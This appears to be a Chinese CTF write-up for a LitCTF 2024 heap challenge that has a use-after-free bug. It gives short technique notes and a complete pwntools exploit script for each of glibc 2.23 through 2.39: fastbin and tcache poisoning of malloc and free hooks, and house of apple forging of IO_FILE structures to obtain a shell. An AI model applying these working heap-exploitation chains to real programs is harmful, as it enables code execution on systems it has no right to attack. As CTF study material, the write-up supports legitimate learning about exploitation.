libc进阶之LitCTF_2024
zach0ry Pwn 选手

不同的libc版本,但是源码是相同的

delete 有uaf漏洞

image-20260307131228969

create

image-20260307131249645

show

image-20260307131357335

edit

image-20260307131410045

2.23

uaf漏洞,打fast bin攻击就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
import sys
from LibcSearcher import *

file_path = "./heap"
remote_host = "192.168.137.1"
remote_port = 2121
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():
gdb.attach(p)
pause()
def sla(a, b):p.sendlineafter(a, b)
def ru(a):p.recvuntil(a)
def sa(a, b):p.sendafter(a, b)
def add(index,size):
sla('>>',b'1')
sla('idx? ',str(index))
sla('size? ',str(size))

def delete(index):
sla('>>',b'2')
sla('idx? ',str(index))


def edit(index,content):
sla('>>',b'4')
sla('idx? ',str(index))
sla('content : \n',content)

def show(index):
sla('>>',b'3')
sla('idx? ',str(index))



add(0,0x18)
add(1,0x80)
add(2,0x18)
delete(1)
# dbg()
show(1)
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3c4b78
# dbg()
print(hex(libc_base))
malloc=libc_base+libc.sym["__malloc_hook"]
print(hex(malloc))
fake_chunk=malloc-0x23

add(5,0x68)
delete(5)
edit(5,p64(fake_chunk))
# dbg()
add(3,0x68)
add(4,0x68)
# dbg()
edit(4,b"A"*0x13+p64(libc_base+0xf1247))
# dbg()
add(7,0x18)


p.interactive()

2.27

glibc 2.26 开始引入 tcache(Thread Cache)

只检测 连续两次 free 同一个 chunk

tcache / fastbin 存的是 user chunk 指针
unsorted / small / large 存的是 chunk header 指针

tcache刚出来,还没有什么校验,直接覆盖tcache bin的fd,把chunk创在free_chunk处并覆盖为system函数就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
import sys
from LibcSearcher import *

file_path = "./heap"
remote_host = "192.168.137.1"
remote_port = 2121
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():gdb.attach(p);pause()

def uu64():return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
def get_sys_bin(libc_base):system = libc_base + libc.sym["system"];binsh = libc_base + next(libc.search(b"/bin/sh"));return system, binsh
def sla(a, b):p.sendlineafter(a, b)
def ru(a):p.recvuntil(a)
def sa(a, b):p.sendafter(a, b)

def add(index,size):
sla('>>',b'1')
sla('idx? ',str(index))
sla('size? ',str(size))

def delete(index):
sla('>>',b'2')
sla('idx? ',str(index))


def edit(index,content):
sla('>>',b'4')
sla('idx? ',str(index))
sla('content : \n',content)

def show(index):
sla('>>',b'3')
sla('idx? ',str(index))


add(0,0x10)
add(1,0x410)
add(2,0x10)
delete(1)
show(1)
libc_base=uu64()-0x3ebca0
print(hex(libc_base))
# dbg()
system,bin=get_sys_bin(libc_base)
free=libc_base+libc.sym["__free_hook"]
add(3,0x60)
add(4,0x60)
delete(3)
edit(3,p64(free))
print(hex(free))
# dbg()
add(7,0x60)
edit(7,b"/bin/sh")
add(5,0x60)
edit(5,p64(system))
delete(7)




p.interactive()

2.31

tcache double free 检查更强了,它会在对应 size 的 tcache bin 里遍历整条链,检查这个 chunk 是否已经在链里。

safe-linking (fd = next ^ (heap_base >> 12))是 2.32 才加的。

把tcache的7个槽填满,然后再free一个unsorted bin泄露libc,之后改最后一个槽的fd,让malloc到free_hook

执行后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
import sys
from LibcSearcher import *

file_path = "./heap"
remote_host = "192.168.137.1"
remote_port = 2121
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
# gdb.attach(p, """
# b *0x08048666
# c
# """, api=True)


def dbg():gdb.attach(p);pause()

def uu64():return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
def get_sys_bin(libc_base):system = libc_base + libc.sym["system"];binsh = libc_base + next(libc.search(b"/bin/sh"));return system, binsh
def sla(a, b):p.sendlineafter(a, b)
def ru(a):p.recvuntil(a)
def sa(a, b):p.sendafter(a, b)

def add(index,size):
sla('>>',b'1')
sla('idx? ',str(index))
sla('size? ',str(size))

def delete(index):
sla('>>',b'2')
sla('idx? ',str(index))


def edit(index,content):
sla('>>',b'4')
sla('idx? ',str(index))
sla('content : \n',content)

def show(index):
sla('>>',b'3')
sla('idx? ',str(index))


for i in range(7):
add(i,0x80)
add(7,0x80)
for i in range (7):
delete(i)

add(8,0x10)
delete(7)
show(7)
libc_base=uu64()-0x1ecbe0
print(hex(libc_base))
# dbg()
free=libc_base+libc.sym["__free_hook"]

edit(6,p64(free))
print(hex(free))
sys,bin=get_sys_bin(libc_base)
# dbg()
add(10,0x80)
edit(10,b"/bin/sh")
add(9,0x80)
edit(9,p64(sys))
delete(10)

p.interactive()

2.35

彻底删除 __free_hook__malloc_hook (2.34+)

引入 Safe-linking 机制 (2.32+)

对IO结构体下手,house of apple,由于前不久才总结过,所以这里只给出脚本

具体的调试分析可以看house of apple

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = process('./heap')
# r = remote('8.147.131.163',24252)
e = ELF('./heap')
libc = ELF('./libc-2.35.so') # 打本地
context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]
one = [0xe6aee, 0xe6af1, 0xe6af4]


def dbg():
gdb.attach(r,'b *$rebase(0x17ed)')
pause()

def cmd(choice):
r.recvuntil(b'>>')
r.sendline(str(choice).encode())


def add(idx, size):
cmd(1)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'size? ')
r.sendline(str(size).encode())


def delete(idx):
cmd(2)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())


def show(idx):
cmd(3)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')


def edit(idx, content=b'deafbeef'):
cmd(4)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')
r.send(content)


def exit():
cmd(5)


add(8, 0x18)
add(0, 0x510)
add(1, 0x30) # 0x20的话chunk2的地址是00结尾,printf没法泄露,所以要0x30
add(2, 0x520)
add(3, 0x30)
delete(2)
add(4, 0x530)
show(2)
large = u64(r.recv(6).ljust(8, b'\0')) # 其实是main_arena+0x490
libcbase = large - 0x670 - libc.sym['_IO_2_1_stdin_']
_IO_list_all = libcbase + libc.sym['_IO_list_all']
io_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
system = libcbase + libc.sym['system']
success('libcbase: ' + hex(libcbase))
edit(2, b'A' * 0x10)
show(2)
r.recv(0x10)
# dbg()
heap = u64(r.recv(6).ljust(8, b'\0'))
success('heap: ' + hex(heap))
# dbg()



delete(0)
# dbg()
edit(2, p64(0)*3+ p64(_IO_list_all - 0x20))
add(5, 0x550)
# dbg()




chunk0 = heap - 0x560 # chunk0的chunk地址 add(0, 0x510)
edit(8, b'A' * 0x10 + p32(0xfffff7f5) + b';sh\x00')


fake = p64(0)*2 + p64(1) + p64(2)#fp->_IO_write_ptr > fp->_IO_write_base
fake = fake.ljust(0xa0 - 0x10, b'\0') + p64(chunk0 + 0x100) # _wide_data
fake = fake.ljust(0xc0 - 0x10, b'\0') + p64(0xffffffffffffffff) # _mode 0xc0
fake = fake.ljust(0xd8 - 0x10, b'\0') + p64(io_wfile_jumps) # vtable 0xd8
fake = fake.ljust(0x100 - 0x10 + 0xe0, b'\0') + p64(chunk0 + 0x200)#_wide_vtablem 0xe0
fake = fake.ljust(0x200 - 0x10, b'\0') + p64(0)*13 + p64(system)#__doallocate 13
# dbg()
edit(0, fake)
# dbg()
exit()

r.interactive()

2.39

没有革命性改变,但是基础防护更严格了

house of apple还可以使用,大门时malloc的大小被限制为large bin,把间隔的chunk改大就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = process('./heap')
# r = remote('8.147.131.163',24252)
e = ELF('./heap')
libc = ELF('./libc.so.6') # 打本地
context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]
one = [0xe6aee, 0xe6af1, 0xe6af4]


def dbg():
gdb.attach(r,'b *$rebase(0x17ed)')
pause()

def cmd(choice):
r.recvuntil(b'>>')
r.sendline(str(choice).encode())


def add(idx, size):
cmd(1)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'size? ')
r.sendline(str(size).encode())


def delete(idx):
cmd(2)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())


def show(idx):
cmd(3)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')


def edit(idx, content=b'deafbeef'):
cmd(4)
r.recvuntil(b'idx? ')
r.sendline(str(idx).encode())
r.recvuntil(b'content : ')
r.send(content)


def exit():
cmd(5)


add(8, 0x508)
add(0, 0x510)
add(1, 0x500) # 0x20的话chunk2的地址是00结尾,printf没法泄露,所以要0x30
add(2, 0x520)
add(3, 0x500)
delete(2)
add(4, 0x530)
show(2)
large = u64(r.recv(6).ljust(8, b'\0')) # 其实是main_arena+0x490
libcbase = large - 0x670 - libc.sym['_IO_2_1_stdin_']
_IO_list_all = libcbase + libc.sym['_IO_list_all']
io_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
system = libcbase + libc.sym['system']
success('libcbase: ' + hex(libcbase))
edit(2, b'A' * 0x10)
show(2)
r.recv(0x10)
# dbg()
heap = u64(r.recv(6).ljust(8, b'\0'))
success('heap: ' + hex(heap))
# dbg()



delete(0)
# dbg()
edit(2, p64(large) + p64(large) + p64(heap) + p64(_IO_list_all - 0x20))
add(5, 0x550)
# dbg()




chunk0 = heap - 0xa30 # chunk0的chunk地址 add(0, 0x510)
edit(8, b'A' * 0x500 + p32(0xfffff7f5) + b';sh\x00')


fake = p64(0)*2 + p64(1) + p64(2)#fp->_IO_write_ptr > fp->_IO_write_base
fake = fake.ljust(0xa0 - 0x10, b'\0') + p64(chunk0 + 0x100) # _wide_data
fake = fake.ljust(0xc0 - 0x10, b'\0') + p64(0xffffffffffffffff) # _mode 0xc0
fake = fake.ljust(0xd8 - 0x10, b'\0') + p64(io_wfile_jumps) # vtable 0xd8
fake = fake.ljust(0x100 - 0x10 + 0xe0, b'\0') + p64(chunk0 + 0x200)#_wide_vtablem 0xe0
fake = fake.ljust(0x200 - 0x10, b'\0') + p64(0)*13 + p64(system)#__doallocate 13
# dbg()
edit(0, fake)
# dbg()
exit()

r.interactive()